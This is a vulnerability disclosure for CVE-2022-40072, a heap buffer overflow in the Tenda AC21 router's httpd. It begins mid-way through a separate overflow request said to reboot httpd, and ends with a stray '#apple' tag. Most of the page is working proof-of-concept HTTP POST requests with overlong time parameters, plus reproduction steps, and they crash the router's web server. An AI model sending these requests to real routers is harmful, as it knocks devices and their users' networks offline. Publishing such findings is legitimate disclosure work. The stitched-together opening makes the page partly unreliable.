    Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
    Cookie: password=25d55ad283aa400af464c76d713c07adqtucvb
    Connection: close
    
    nptr=0&powerSaveDelay=0&ledCloseType=0&time=11:11-11:11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
    

By sending this poc, we can makehttpd reboot

CVE-2022-40072: Vuln/Tenda AC21/7 at main · xxy1126/Vuln

Tenda AC21 V 16.03.08.15 is vulnerable to Buffer Overflow via /bin/httpd, setSchedWifi.

**Tenda AC21(V16.03.08.15) contains heap Buffer Overflow Vulnerability****overview**

*   Manufacturer's website information：https://www.tenda.com.cn/
*   Firmware download address: https://www.tenda.com.cn/download/detail-3419.html

**product information**

Tenda A21(V16.03.08.15), latest version of simulation overview：

**description****1\. Vulnerability Details**

Tenda AC21(V16.03.08.15) contains a heap overflow vulnerability in file /bin/httpd, functionsetSchedWifi  .

This vulnerability allows attackers to cause a Denial of Service (DoS) via the schedStartTimeand  schedEndTimeparameter.

the strcpy(ptr+2, v8) and strcpy(ptr+10, v7) copies strings to heap buffer without checking its length, so there is a heap overflow.

**2\. Recurring loopholes and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/openSchedWifi HTTP/1.1
    Host: 192.168.0.1
    Content-Length: 224
    Accept: */*
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Origin: http://192.168.0.1
    Referer: http://192.168.0.1/system_time.html?random=0.9865714904007963&
    Accept-Encoding: gzip, deflate
    Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
    Connection: close
    
    schedStartTime=1111111111111111111111111111111111111111111111111111111111111111111111111111111&schedEndTime=111111111111111111111111111111111111111111111111111111111111111111111111111111111111111&schedWifiEnable=1&timeType=1
    

By sending this poc, we can achieve the effect of a denial-of-service(DOS) attack .

Tag

#apple